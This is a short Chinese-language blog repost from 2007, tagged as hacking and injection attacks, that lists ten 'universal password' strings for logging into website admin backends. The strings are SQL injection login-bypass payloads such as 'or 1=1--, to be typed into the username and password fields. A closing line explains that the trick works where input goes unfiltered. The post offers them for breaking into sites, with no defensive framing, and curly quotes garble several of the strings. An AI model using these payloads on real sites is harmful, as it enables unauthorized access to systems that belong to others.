网站后台万能密码
转载自:a1pass.blog.163.com
2007-06-26 18:33:54| 分类: 思绪燃星火——技 | 标签:黑客 注入攻击 |举报|字号 订阅
黑客反病毒论坛 http://bbs.hackav.com
就是在用户名与密码处都写入下列字符,如果知道管理员帐号的话直接添帐号,效果会更好!
例如我们要利用第一条就是:
用户名:"or “a”="a
密码:"or “a”="a
1:"or “a”="a
2: ‘.).or.(’.a.’=’.a
3:or 1=1–
4:‘or 1=1–
5:a’or’ 1=1–
6:"or 1=1–
7:‘or.‘a.’=‘a
8:“or”="a’=‘a
9:‘or’’=’
10:‘or’=‘or’
原理都是利用SQL语法来利用注入,其实这也是注入的一种,都是因为提交字符未加过滤或过滤不严而导致的.